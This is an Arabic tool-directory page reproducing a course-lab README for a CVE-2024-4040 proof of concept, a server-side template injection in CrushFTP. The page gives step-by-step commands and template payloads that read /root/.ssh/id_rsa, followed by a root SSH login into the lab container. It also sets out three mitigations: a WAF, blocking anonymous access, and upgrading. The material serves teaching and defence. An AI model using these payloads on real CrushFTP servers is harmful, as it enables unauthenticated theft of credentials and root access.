Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CrushFTP-SSTI-LFI-Proof-of-Concept — إثبات المفهوم لـ CVE-2024-4040 (CrushFTP SSTI -> LFI غير مصادق عليه) في بيئة مختبر CS443 خاضعة للتحكم - للاستخدام التعليمي/المصرح به فقط. | Kitploit
أدوات/GitHubGitHub/cthhhhhh/crushftp-ssti-lfi-proof-of-concept
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubcthhhhhh/crushftp-ssti-lfi-proof-of-concept

CrushFTP-SSTI-LFI-Proof-of-Concept

إثبات المفهوم لـ CVE-2024-4040 (CrushFTP SSTI -> LFI غير مصادق عليه) في بيئة مختبر CS443 خاضعة للتحكم - للاستخدام التعليمي/المصرح به فقط.

عرض المستودع
2منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-4040 — إثبات المفهوم لـ SSTI / LFI في CrushFTP

للاستخدام التعليمي والمختبري المصرح به فقط.
CS443 أمن البرمجيات والأنظمة — بيئة Docker محلية مسيطر عليها.


ملخص الثغرة

الحقلالتفاصيل
CVECVE-2024-4040
البرنامج المتأثرCrushFTP < 10.7.1 (فرع v10) / < 11.1.0 (فرع v11)
نوع الثغرةحقن القوالب من جانب الخادم (SSTI) → قراءة ملفات محلية دون مصادقة
درجة CVSS9.8 حرجة
التأثيريمكن للمهاجمين غير المصادقين قراءة أي ملفات من نظام ملفات الخادم

يقوم WebInterface في CrushFTP بتقييم تعبيرات القوالب في معامل path لأمر zip دون تنقية. يمكن للمهاجم غير المصادق الحصول على ملفات تعريف ارتباط جلسة مجهولة، ثم استخدام ملفات تعريف الارتباط هذه لتمرير حمولات قوالب ({working_dir}، <INCLUDE>…</INCLUDE>) يقوم الخادم بتقييمها وإعادتها — مما يسمح بقراءة أي ملف عبر المضيف.


بيئة المختبر

المكونالقيمة
الهدفhttp://localhost:8080
إصدار CrushFTP الأساسي في إثبات المفهوم10.3.0 (قابل للاستغلال عمدًا)
بيئة اختبار التخفيف 3حاوية منفصلة تعمل CrushFTP 11.x (الفرع المصحح)
منفذ SSH (الحاوية)2222 → 22
بيانات اعتماد المسؤولadmin / admin
وقت تشغيل الحاويةDocker (Compose)

المتطلبات الأساسية

root@kitploit:~
pip install requests rich

البرامج النصية

البرنامجالمصدرالغرض
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCاستغلال كامل لـ SSTI/LFI — سرقة الجلسة، قراءة أي ملف
recon.pyهذا المستودعكشف الإصدار، اختبار SSTI مباشر، تأكيد الثغرة

شرح خطوة بخطوة لإثبات المفهوم

الخطوة 1 — بدء المختبر

root@kitploit:~
docker-compose up -d

انتظر حوالي 10 ثوانٍ حتى يتم تهيئة CrushFTP بالكامل قبل تشغيل البرامج النصية. لا توجد حاجة لخطوة استطلاع منفصلة هنا لأن crushed.py يتحقق بالفعل من إمكانية الاستغلال أثناء التنفيذ.


الخطوة 2 — سرقة المفتاح الخاص لـ SSH عبر LFI

root@kitploit:~
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

سيقوم البرنامج النصي بـ:

  1. الحصول على جلسة مجهولة CrushAuth / currentAuth من /WebInterface/
  2. استخدام SSTI لتأكيد تقييم القالب وتسريب اسم مضيف الخادم
  3. استخدام {working_dir} لحل دليل تثبيت CrushFTP
  4. استخدام <INCLUDE>/root/.ssh/id_rsa</INCLUDE> لقراءة الملف المستهدف
  5. طباعة محتويات الملف الخام إلى stdout

انسخ كتلة المفتاح الخاص من المخرجات (كل شيء من -----BEGIN OPENSSH PRIVATE KEY----- إلى -----END OPENSSH PRIVATE KEY-----).


الخطوة 3 — حفظ المفتاح المسروق

root@kitploit:~
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

الخطوة 4 — SSH إلى الحاوية كـ root

root@kitploit:~
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

الخطوة 5 — تأكيد الوصول الجذر

root@kitploit:~
whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

مخطط سلسلة الهجوم

root@kitploit:~
Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

المشكلات المعروفة الرئيسية في crushed.py

المشكلةالموقعالتفاصيل
تبعية مفقودةالأسطر 6–9يتطلب تشغيل pip install rich قبل التنفيذ
تحليل XML هشالأسطر 86، 140يتعطل في استجابات الخادم غير XML؛ لا يوجد معالجة لـ ParseError
نمط الرمز المميز صارم جدًاالأسطر 160–161قد لا يتطابق نمط CrushAuth=…; currentAuth=… مع جميع تنسيقات sessions.obj
HTTP 404 فقطالسطر 53التقاط ملفات تعريف الارتباط ينجح فقط عند 404؛ يمر بصمت دون إعلام في رموز الحالة الأخرى

استراتيجيات التخفيف

التخفيف 1 — جدار حماية تطبيقات الويب (NGINX + ModSecurity)

نظرة عامة

يعمل جدار حماية تطبيقات الويب (WAF) كوكيل عكسي يقوم بفحص حركة المرور الواردة HTTP/S قبل وصولها إلى CrushFTP. باستخدام NGINX مع ModSecurity، يتم حظر الطلبات الضارة التي تستغل CVE-2024-4040 عند حافة الشبكة دون تعديل CrushFTP نفسه.

كيف يخفف من CVE-2024-4040

  • يمنع أنماط اجتياز المسار (مثل ../، %2e%2e) في URIs الطلبات وملفات تعريف الارتباط
  • يمنع طلبات الهروب من VFS غير المصادقة من الوصول إلى CrushFTP
  • يسجل ويرفض الحمولات المشبوهة قبل وصولها إلى التطبيق

إعداد Docker

استخدم Mitigation 1/docker-compose.yaml:

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

تكوين NGINX

استخدم Mitigation 1/nginx.conf:

root@kitploit:~
worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

تدفق حركة المرور

root@kitploit:~
المهاجم -> NGINX WAF (المنفذ 80) -> يحجب الضار -> 403 ممنوع
                             -> يمرر النظيف -> CrushFTP:8080

القيود

  • لا يعالج السبب الجذري - يظل CrushFTP عرضة للخطر إذا تم تجاوز WAF
  • يتطلب تحديثات للقواعد مع تطور المهاجمين لأساليب التعتيم

التخفيف 2 — تعطيل وصول المستخدم المجهول

نظرة عامة

يمكن استغلال CVE-2024-4040 دون مصادقة. في هذا المختبر، يتم حظر الوصول بأسلوب مجهول عند طبقة NGINX عن طريق طلب رأس Authorization قبل توجيه المسارات الحساسة إلى CrushFTP.

كيف يخفف من CVE-2024-4040

  • تعتمد برامج الاستغلال مثل crushed.py على الوصول غير المصادق؛ يتم رفض الطلبات بدون بيانات اعتماد بـ 401
  • يتم رفض الطلبات إلى /WebInterface/ و / ما لم تكن بيانات المصادقة موجودة
  • يقلل من تعرض نقاط النهاية الضعيفة للمستخدمين غير المصادقين

إعداد Docker (بالضبط من Mitigation 2/docker-compose.yaml)

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

سياسة NGINX (بالضبط من Mitigation 2/nginx.conf)

root@kitploit:~
events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Block unauthenticated access to WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Block everything else unauthenticated
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

التحقق عبر Docker

root@kitploit:~
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized

# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

القيود

  • لا يعالج الثغرة الأساسية؛ قد يظل المستخدمون المصادقون في خطر إذا تم تكييف منطق الاستغلال
  • يعتمد التنفيذ على وضع الوكيل ومعالجة الرؤوس الصحيحة أمام CrushFTP

التخفيف 3 — التحديث إلى CrushFTP الإصدار 11

نظرة عامة

الترقية إلى CrushFTP 11 هي الإصلاح الأكثر فعالية ودائم. يضيف التصحيح التحقق الصارم من المدخلات في حل مسار VFS، مما يزيل السبب الجذري لـ CVE-2024-4040.

كيف يخفف من CVE-2024-4040

  • يفرض وضع الحماية الصارم لمسارات VFS - يتم رفض محاولات الهروب على مستوى التطبيق
  • لم تعد برامج الاستغلال مثل crushed.py تعمل ضد الإصدار 11
  • يتم تطبيق الإصلاح على مستوى كود المصدر، وليس مقنعًا بواسطة ضوابط خارجية

التنفيذ

قم بتحديث Dockerfile لاستخدام CrushFTP 11:

root@kitploit:~
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

أعد بناء الحاوية:

root@kitploit:~
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

التحقق من عمل التصحيح

root@kitploit:~
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080

# Expected: exploit returns no output or connection error
تنزيل الأداة